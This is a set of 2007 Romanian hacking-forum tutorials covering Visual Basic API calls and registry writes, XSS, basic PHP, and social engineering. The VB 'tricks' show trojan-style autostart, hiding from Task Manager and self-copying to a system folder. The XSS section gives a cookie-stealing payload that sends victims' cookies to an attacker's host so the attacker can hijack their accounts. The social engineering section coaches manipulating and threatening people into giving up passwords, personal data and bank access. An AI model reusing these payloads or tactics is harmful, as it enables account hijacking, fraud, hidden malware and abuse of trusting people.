Despre Functii API [Visual Basic]

Despre functii API [visual basic]

Ok kidz, a new lesson today  Vom invata despre functii API in Visual Basic: ce sunt si ce sa faceti cu ele. Sa incepem, acestea fiind zise.
Ce este o functie API ? O functie API (application programming interface) este defapt o interfata, un cod sursa in care putem folosi un dll din windows (dynamic link library) pentru a obtine anumite avantaje si pentru lucrul cu ferestrele, fisierele mai mult (imi cer scuze de exprimarea defectuoasa, dar pur si simplu nu am stiut ce sa zic).
Cum se construieste o functie API? In primul rand o functie API se declara in modul (in visual basic): Project(Alt+p) – Add Module(Alt+m) si selectati un modul nou. Acum ca il avem adaugat sa dam un exemplu cum se declara o functie API:

Cod:
Public Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextW” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long


Sa explicam putin functia API. Primul lucru cu care am inceput este Public, acest parametru face ca functia sa poata fi folosita si in interiorul formului; in loc de Public se putea pune si Private, dar aceasta nu mai facea functia folosibila in form. Sa trecem mai departe. “Declare Function” declara functia, nu cred ca mai este nevoie de explicatii suplimentare, GetWindowText este numele functiei in Form si cu aceasta vom apela functia. Lib “user32” ne indica locul in care functia API se afla, in acest exemplu, in libraria user32 (user32.dll), in alte exemple de functii API este posibil ca functia sa fie declarata in libraria kernel32, sau altele, etc. Alias “GetWindowTextW” sugereaza numele cu, care se gaseste functia in libraria user32. Nu la toate functiile este necesar acest argument, dar aici este nevoie de el, deoarece GetWindowText <>GetWindowTextW. Acum, (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) reprezinta argumentele functiei si nu aveti cum sa le stiti pe dinafara sau sa le deduceti, pur si simplu cautati pe google sau pe msdn.com (cel mai bun site de functii API).
Acum, ca am invatat cum se declara o functie API (sper ca ati invatat, recunosc, nu am explicat prea bine, dar pentru asta exista google si msdn  ) sa invatam si cum se foloseste o astfel de functie.

Cod:
Dim hwnd As Long
Dim nume As String
hwnd = FindWindow(“Winamp v1.x”, vbNullString)
Call GetWindowText(hwnd, melodie, 100)


Mai intai functia FindWindow trebuie declarata in modul (http://msdn2.microsoft.com/en-us/library/ms633499.aspx), GetWindowText am declarat-o deja. Functia FindWindow gaseste handle’ul ferestrei Winampului (clasa ultimelor versiuni de Winamp este Winamp v1.x si handle’ul unei ferestre se poate afla doar stiind clasa acesteia. Ce este un handle? Handle’ul este un identificator al fiecarei ferestre, este o notiune abstracta. Fiecare buton, fereastra, textbox, orice element vizibil are un handle[HWND]. Handle’ul unei ferestre reprezinta un nume al acesteia, declarand o functie API nu o putem utiliza pe o fereasta fara a cunoaste hande’ul acelei ferestre) si il atribuie variabilei hwnd. In continuare, GetWindowText extrage titlul ferestrei Winampului si o atribuie variabilei melodie, care poate fi folosita in continuare dupa preferinte.
Pentru a afla mai multe despre handle vizitati urmatorul link:

Cod:
http://msdn2.microsoft.com/en-us/library/aa159979(office.10).aspx


Sa consideram acum un alt exemplu de functie API, ca doar din exemplu invatam cel mai bine, nu ? Sa consideram o functie care minimizeaza o fereasta (ca si cum am apasa pe “butonul de minimizare”). In modul, evident, declaram functia:

Cod:
Public Declare Function CloseWindow Lib “user32″ Alias “CloseWindow” (ByVal hwnd As Long) As Long


Sa explicam putin si functia. HWND din interiorul parametrului reprezinta handle’ul ferestrei care va fi inchisa. Si acum sa consideram un simplu cod:

Cod:
Private Sub Form_Load()
CloseWindow Me.hwnd
End Sub


Aceasta minimizeaza fereasta curenta imediat la deschiderea acesteia (cand este vorba despre fereasta proprie, nu mai este nevoie sa ii gasim handle’ul, putem folosi pur si simplu: Me.hwnd).

Cam atat pentru azi, sper ca am fost destul de explicit, pana la urma totul se invata muncind, nu doar dintr-un tutorial doua si un sfat util: cand este vorba de programare, nu ezitati sa dati un search pe google pentru a afla diferite informatii.
Pentru a intelege mai bine functiile API, vizitati siteul: http://www.msdn.com si o sa aflati mai multe; ceea ce am facut eu in acest tutorial a fost decat sa va faceti o idee de baza despre cum functioneaza o astfel de functie.

Vladiii 2007

Registrii in Visual Basic

Cateva smecherii in Visual Basic

Salut! Desi sunt incepator si eu in Visual Basic, m-am gandit sa scriu acest mic tutorial. Chiar daca nu este cine stie ce de el, macar incerc sa fac ceva bun pentru RST, forum pe care majoritatea vin doar sa invete (si nici macar nu au perseverenta de a invata ceva ca lumea, doar Y!Messenger si Flood sa dea  ). RST nu mai este ce a fost, nu vreau sa jignesc pe nimeni, dar asta este! Respect deosebit pentru Slick (gg man Wink ). Inca ceva, cum o zis si dizzy, cum ca tutorialul lui nu are rost, deoarece tot ce a scris el gasesti si pe internet, parerea mea, frate, orice tutorial este binevenit si consider ca oricine are ceva de invatat din el  Sa trecem la treaba!

Despre Registrii

Ce sunt registrii? Registrii sunt fisiere in care se afla multe dintre setarile Windowsului si ale anumitor programe. Spre exemplu, daca dorim ca My Computer sa se afiseze pe desktop, un key din registrii ia valoare 0 (fals-adica sa nu afiseze pe desktop iconita) sau 1(true, adevarat- afiseaza pe desktop iconita).
Si in Visual Basic exista functii de modificare a registriilor si de scriere a unor noi keyuri. Pentru a scrie in registrii in Visual Basic este necesar un modul care trebuie adaugat la program. Un modul se adauga ca in exemplul urmator (exemplul este dat pentru Visual Basic 6.0 ): Project(Alt+p) – Add Module(Alt+m) – Existing si apoi selectati modulul care vreti sa fie adaugat  Va recomand sa folositi urmatorul modul:

Cod:
ftp://cbmc.ro/samples/vb6/TBRegistry.bas


Modulul este facut de un prieten foarte bun. Ok, acum poate va intrebati cum scrieti in registrii ? Ca sa va faceti o idĂŠe despre cum sunt structurati registrii si cum “arata” ei, intrati in CMD si scrieti: regedit . Sa continuam.
Daca va uitati un pic in modulul adaugat (si aveti cat de cat habar de Visual Basic) o sa vedeti ca pentru registrii din HKEY_CLASSES_ROOT se foloseste “codul”: &H80000000 , pentru cei din HKEY_LOCAL_MACHINE se foloseste: &H80000002. In fine, va uitati pe acolo si deduceti Smile
Acum sa vedem un exemplu concret:

Cod:
RegWrite “SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”, “myapp”, “c:\myapp.exe”, &H80000002


Acest mic rand de cod, scrie la startup programul C:\myapp.exe cu numele myapp. El scrie in registrul cu adresa:

Cod:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\


Care este sintaxa de scriere in registrii? RegWrite “adresa registrului”, “altceva”, “altceva2”, &H8000000*. Sa consideram un alt cod care scrie in registrii un nou status la Y!Messenger (Atentie! Daca scrie in registrii noul status, asta nu inseamna ca messengerul va afisa dupa scriere acel status; pentru aceasta este nevoie de un cod mai complicat pe care nu il voi explica/prezenta in acest tutorial).

Cod:
name = GetString(HKEY_CURRENT_USER, “Software\Yahoo\Pager”, “Yahoo! user id”)
Call SaveString(HKEY_CURRENT_USER, “Software\Yahoo\Pager\profiles\” + name + “\Custom Msgs”, 1, status)


Codul acesta functioneaza doar daca aveti optiunea Remember ID&Password activate la messenger. Optiunea status (de la sfarsitului codului de mai sus) reprezinta statusul care doriti a fi scris in registrii (acesta poate fi introdus intr-un textbox sau definit inainte ca o variabila de tip string).
Acum sa analizam un pic functia RegRead. Sa consideram urmatorul exemplu:

Cod:
MsgBox RegRead(“SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”, “Cmaudio”, &H80000002)


Acest cod afiseaza Data corespunzatoare key’ului Cmaudio din locatia de mai sus. Acum sa facem alt mic cod, care afiseaza URL pentru tutoriale specifice Y! Messenger:

Cod:
MsgBox RegRead(“Software\Yahoo\pager\YUrl”, “Tutorials”, &H80000001)


Acum sa vedem care a fost ultimul status pe care l-ati avut pe Y!Messenger. Folosim umatorul cod:

Cod:
MsgBox RegRead(“Software\Yahoo\pager\profiles\idultaudemess\Custom Msgs\”, “1″, &H80000001)


Pentru incepatori este foarte de ajuns !

Cateva Tips&Tricks

Am sa va prezint cateva secvente de cod (utile, zic eu), care poate o sa va ajute in viata de zi cu zi 

1) Urmatorul cod face invizibil programul (sau formul, dupa caz) si el, desi ruleaza, nu este present pe desktop (doar in Task Manager si Processes):

Cod:
NumeForm.Hide

2) Acest cod face invizibila aplicatia si in Task Manager (in curand o sa public un cod care o sa faca aplicatia invizibila si in Processes):

Cod:
App.TaskVisible = False

3) Codul acesta multiplica aplicatia intr-o locatie specificata de dumneavoastra, in exemplu am ales C:\Windows, cu numele server.exe

Cod:
FileCopy App.EXEName & “.exe”, “C:\Windows\server.exe”

Cam atat pentru azi! Bafta!

Pentru varianta in format .doc, incercati sa o downloadati de aici:

Cod:
http://rapidshare.com/files/34413437/VB_tutorial.doc.html

Tutorialul este adresat incepatorilor, desi nu cred ca o sa il cieasca nimeni, astept pareri Smile

Vladiii 2007

Un scurt tutorial despre XSS

Un scurt tutorial pentru tine.
De obicei, vulnerabilitatea XSS este legata de cookieuri si message boxuri. Sa presupunem ca am gasit un site vulnerabil la XSS. Fie acesta:

Cod:
http://mystuff.uk.ask.com/user/DisplaySignup?prod=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E


Acest micut script adaugat la URL: <script>alert(‘XSS’)</script> nu face nimic mai mult decat a insera un message box in pui tu un text care vrei. Spre exemplu modific <script>alert(‘xss’)</script> cu <script>alert(‘vladiii’)</script> . URL va arata in felul urmator:

Cod:
http://mystuff.uk.ask.com/user/DisplaySignup?prod=%22%3E%3Cscript%3Ealert(%22vladiii%22)%3C/script%3E


Ok, decoamdata vulnerabilitatea nu face nimic, dar o putem exploata si mai mult. In loc de mesajul (XSS si vladiii) dintre cele 2 paranteze ale alertului (ale scriptului) putem introduce: document.cookie si javascriptul care trebuie bagat la URL va arata in felul urmator: <script>alert(document.cookie)</script>. Si in cazul XSSului nostru:

Cod:
http://mystuff.uk.ask.com/user/DisplaySignup?prod=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


Acest script genereaza un Message Box in care se afla cookieurile tale. Acum intrebarea se pune, cum fac rost si de cookieurile altor useri, ca apoi sa ma loghez pe conturile lor folosind acest cookie ? Sa consideram urmatorul cod:

Cod:
<SCRIPT>location.href=”http://www.siteultau.com/cookiestealer.php?c=”+escape(document.cookie)</SCRIPT>


Acest cod il introducem la url si il trimitem apoi (url’ul) la victima. Daca aceasta da click pe link, atunci cookieurile sale vor ramane la tine pe FTP sau ti se vor trimite pe mail, depinde cum este conceput stealerul.
Exemplu de link:

Cod:
www.sitevulnerabil.com/pagvuln.php?ceva=<SCRIPT>location.href=”http://www.siteultau.com/cookiestealer.php?c=”+escape(document.cookie)</SCRIPT>


Am spus mai sus ce face acest exemplu de link.
Acum ne intrebam: “Cum imi feresc siteul de vulnerabilitati XSS?”. Simplu, de obicei eliminarea metacaracterelor din codul sursa (<, >) si inlocuite cu & gt si & lt, dupa caz, etc.
Cum te feresti tu impotriva atacurilor XSS??? Nu da click pe tot felul de linkuri ciudate si nu folosi Internet Explorer ca browser deoarece este plin de buguri (personal, iti recomand Mozilla Firefox)

Linkuri utile:

Cod:
http://www.blooberry.com/indexdot/html/topics/urlencoding.htm
http://rstzone.org/forum/viewtopic.php?t=6250
http://rstzone.org/forum/viewtopic.php?t=6233
http://ha.ckers.org/xss.html

Sper ca ti-am fost de folos. Vlad

Introducere in PHP

Salut. In primul rand vreau sa mentionez ca acesta este un mic tutorial realizat pentru incepatori. Acum sa trecem la treaba.

In primul rand, cum rulam un cod php creat de noi??? Simplu, scriem codul intr-un editor de text, gen Notepad si apoi salvam ceea ce am scris cu extensia .php si rulam scriptul.

Initierea

Sa consideram urmatorul script:

Cod:
<?
print “Buna ziua LUME!”;
?>


Acest micut script afiseaza pe ecran mesajul: Buna ziua LUME!. Sa explic un pic sinaxa:
- cele 2 <? si ?> semnifica inceputul, respectiv sfarsitul unui cod PHP, si acesta este obligatoriu sa il folositi, este vital pentru un program in PHP, este la fel de important ca begin in pascal Very Happy;
- print afiseaza pe ecran ceva, orice. Acel ceva, orice este definit de catre utilizator. Aceasta functie este foarte folosita in PHP, asa ca trebuie sa o retineti Very Happy;
- “mesaj” aici trebuie introdus mesajul pe care il va arata pe ecran functia print.

Acum ca ati inteles ca print afiseaza un “argument” pe ecran, sa trecem mai departe…

Variabilele

Ce sunt defapt variabilele ? Cel mai bine am intelege dintr-un exemplu. Sa consideram urmatorul script:

Cod:
<?
$variabila=”Buna ziua, LUME!”;
print $variabila;
?>


Ce face acest mic scriptulet? Afiseaza tot Buna ziua, LUME! pe ecran, dar scriptul este scris sub alta forma.
$variabila este o variabila, deoarece noi i-am aribuit o valoare la inceput, valoarea respectiva fiind in cazul de fata: “Buna ziua, LUME!”. Semnul de dolar $ semnifica in scripturile PHP o variabila. Daca vreti sa definiti o variabila, sa nu uitati sa adaugati acest semn, altfel ea nu va fi luata in considerare.
Sa consideram alt mic cod:

Cod:
<?
//atribuim variabilei $culoare1, culoarea albastru
$culoare1=”albastru”;
//atribuim variabilei $culoare2, culoarea rosu
$culoare2=”rosu”;
//afisam mesajul
print “Trandafirii au culoarea $culoare2 si zambilele au culoarea $culoare1″;
?>


Ruland acest script, el seteaza variabilelor $culoarea1 si $culoare2 niste valori, pe care le utilizeaza apoi in mesajul functiei print. In acest micut script, au aparut 2 lucruri noi: introducere variabilelor alaturi de text in mesajul ” ” functiei print, si semnele //comentariu. Cele din urma semnifica adaugarea unui comentariu la scriptul dumneavoastra, acest comentariu nefiind luat in considerare de catre interpretor.
Un alt exemplu[incerc sa dau cat mai multe exemple, pentru ca din ele invatam cel mai bine], pe care nu il voi mai comenta pentru ca este asemanator cu cel de mai sus, numai ca o sa contina mai multe variabile:

Cod:
<?
//setam variabila $mancare1
$mancare1=”ciorba”;
//setam variabila $mancare2
$mancare2=”friptura”;
//afisam mesajul
print “Mancarea mea preferata este $mancare1″;
print “Mancarea lui George preferata este $mancare2″;
?>


Pana acum am atribuit variabilelor doar date de tip caracter, acum vom adauga date de tip integer [numar intreg]. Sa consideram urmatorul script:

Cod:
<?
//setam $variabila1
$variabila1=10;
//setam $variabila2
$variabila2=20;
//afisam mesajul
print “Numarul meu preferat este $variabila1″;
print “Numarul lui George preferat este $variabila2″;
?>


Acum, ca am inteles cam cum sta treaba cu variablele, sa aflam despre operatori. Operatorii cei mai cunoscuti sunt: +, -, *, /. Mai pe romaneste + inseamna plus, – inseamna minus, * inseamna inmultit si / inseamna impartit. La ce sunt buni operatorii ??? Pai spre exemplu putem face un script care sa calculeze suma a 2 numere:

Cod:
<?
$variabila1=2;
$variabila2=3;
//setam $variabila3, care este suma variabilelor 1 si 2
$variabila3=$variabila1+$variabila2;
print “Suma celor 2 numere este: $variabila3″;
?>


Acest mic script afiseaza suma numerelor $variabila1 si $variabila2, adica suma numerelor 2 si 3… 2+3=5.

Cam atat despre acest tutorial. Foarte bun pentru incepatori, sper ca ati prins cate ceva.

Astept comentarii !!!

@vladiii

Ingineria Sociala

M-am hotarat sa scriu aceste randuri deoarece Ingineria Sociala mi se pare, si nu numai mie, un subiect tabu, despre care mai nimeni nu pomeneste nimic; rari sunt oamenii care afirma: “am spart un site/ o casuta de e-mail, folosind social engeneering”, si aceste persoane au sincer, tot respectul meu, si nu numai (cred Very Happy).
Care este scopul acestui tutorial ? Acela de a va aminti ca, pe langa metodele de hacking obisnuite si intalnite in viata de zi cu zi a “hackerilor” amatori sau profesionisti, mai exista si “altceva”, un “altceva” uitat, care nu mai preocupa pe absolut nimeni (poate cu exceptia lui Nemessis Very Happy): Social Engeneering a.k.a. Ingineria Sociala.
Mintea unui om functioneaza dupa anumite tipare, unei persoane nu-i place sa se simta inferioara fata de altcineva(chiar daca poate sa depaseasca aceasta situatie de “prostie”, dar nu se vrea sau ce stiu eu ce alte cauze ar mai avea); aproape orice om incearca sa raspunda la o provocare adresata lui (fie ca poate sa duca pana la bun sfarsit, fie ca nu); se considera cel mai bun , desi nu este (chiar daca este un prostalau, tot ingamfat va fi si se va considera geniu); un om este un robot care gandeste, care respira, care traieste, etc.
Poate va intrebati de ce am inceput acest mic tutorial despre o scurta caracterizare a omului (aceasta este parerea mea personala, voi considerati daca este corecta sau nu)? Pentru ca in Ingineria Sociala se pune accentul in special pe victima si apoi pe abilitatile dumneavoastra de a extrage informatiile de la aceasta. Sa continuam…
Un om nu poate sa tina un secret mult timp numai pentru el, curiozitatea il mananca si orice informatie pe care el o detine poate fi extrasa mai greu sau mai usor, depinde de firea si personalitatea acestuia.
Pentru ca un om sa divulge un secret de al sau, cum ar fi o parola, date personale&stuff, trebuie “tras de limba” un pic. Nu va recomand sa intrati in discutie cu el, va salutati si la a 5-a replica il intrebati: “Care e ba parola ta? “. Acest lucru este exclus, deoarece victima nu va mai avea incredere in dumneavoastra si adio parole Smile>. Scopul meu in acest tutorial este acela de a va deschide oarecum ochii, sa invatati cum sa sustrageti o informatie de la o persoana, folosind doar “vorba”.
Pentru aceasta, ar trebui sa utilizati cateva legi (sper sa nu va deranjeze limbajul iesit oarecum din comun Very Happy):
1) Legea de a face pe prostul. Puteti sa faceti pe “prostul”, victima sa va creada inferior ei, dar defapt ea va fi cea care “va lua teapa” la final. De obicei, omul se comporta diferit fata de un om care pare prost decat fata de unul care pare destept, el nu o sa isi imagineze niciodata ca dumneavoastra (in contextul de fata, “un prost”) o sa ii puteti fura parola si sa extrageti bani din conturile lui din banca.
2) Legea simpatiei. Puteti sa fiti simpatic cu acea persoana, sa ii castigati usor, usor increderea, incat la final sa va considere unul dintre cei mai buni prieteni pentru care ar face orice, inclusiv sa va dea parola, conturi in banca sau multe altele.
3) Legea fricii. Am intalnit de curand un caz (desi nu cred ca o sa mearga si pe un user mai experimentat) in care am primit un mass, in care scria: “Cine nu imi da parola lui de la messenger o sa ia flood pe ip pana cand isi schimba ISPul”. Apoi, curios, l-am intrebat pe cel care a trimis acest mass: “A picat cineva in plasa”, si el mi-a raspuns senin: “Da, foarte multi”. In concluzie, cineva care ii este frica de dumneavoastra va face aproape orice pentru ca sa nu pateasca vreun rau (ca o mica completare, omul se bazeaza in general pe memorie, si daca o data in viata sa s-a ars cu apa fiarta (asta e doar un exemplu) o sa stie, instinctiv, sa nu mai atinga apa fiarta ca se opareste… un exemplu personal, eu am mancat odata ciuperci (ca imi placeau tare, mai ales ciulamaua Smile ) si mi-a venit rau, acum, instinctiv, cand vad ciulama imi vine sa vomit Very Happy… ce am vrut sa zic cu asta? Cu cat victima o pateste de mai multe ori, cu atat va fi mai precaut data viitoare ,deci alegeti-va victima cu foarte mare atentie). O sa obtineti ceea ce doriti, doar daca aveti un motiv bun de amenintare, motive de care victima sa se teama, nu amenintari gen: “o sa iti omor pisica”&stuff.
4) Legea insuficientei. Puteti pacali victima sa va ofere informatii in schimbul altor informatii (principiul peer-to-peer) si apoi sa apelati la celebra vorba: “Mai intati tu”. Puteti profita folosind aceasta “lege” in special de naivitiatea omului, de prostia acestuia si nu merge sa o aplicatii pentru orice tip de utilizator al WWWului.

Ar mai fi cateva legi de explicat, dar am precizat ca acest tutorial este scurt si la obiect si nu voi intra in amanunte, doar voi preciza cateva sfaturi generale pe care puteti sa le utilizati, dar daca nu o faceti, macar acest text sa va ofere o lectura placuta si o lectie de viata oarecum.
Pentru a pacali o persoana trebuie ca aceasta sa aiba inceredere in dumneavoastra, de aceea scopul dumneavoastra cand vreti sa obtineti o informatie de la o persoana sa fie acela de a a-i castiga increderea, nu de a-i fura parolele.
Atentie! Nu e nevoie neaparat sa ii aflati parola, ci doar date personale, sa nu uitam ca Serverele de Mail de la Yahoo, Hotmail si toate celelate su functia de PassWord Recovery (sau Forgot Password), in care se utilizeaza datele personale ale victimei pentru a recupera parola.
Si inca ceva, nu faceti toate acestea intr-o singura zi, altfel persoana respectiva va intra la banuieli; ingineria sociala este un proces lung, nu prea dificil, dar care da 90% din cazuri, roade.

Acesta a fost tutorialul. Sper sa va foloseasca cat de cat si astept comentarii despre el si sfaturi despre ce as putea sa scriu in Tutorialele urmatoare.

Si acum, la final, un mic sfat: mai lasati sa porneasca si screen-saverul pe monitor si iesiti afara pentru a va bucura de minunile non-binare ale Naturii.

Urmatorul tutorial: Retele fara Fir (aka Retele Wireless).

@vladiii 2007